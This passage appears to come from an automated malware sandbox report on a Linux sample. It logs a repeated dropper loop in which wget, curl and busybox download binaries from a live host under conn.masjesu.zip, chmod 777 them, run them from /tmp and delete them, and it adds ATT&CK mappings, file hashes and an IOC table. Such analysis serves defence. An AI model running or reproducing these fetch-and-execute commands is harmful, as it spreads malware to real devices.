  - Executes dropped EXE
  PID:959
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:967
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:981
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:985
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:988
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:989
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:999
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1002

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf

Path /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	761	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	816	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	826	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	833	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	840	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	847	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	854	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	861	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	868	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	875	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	882	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	889	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	896	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	903	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	910	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	917	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	924	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	931	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	938	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	945	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	952	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	959	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	966	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	973	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	980	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	987	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	994	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	1001	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj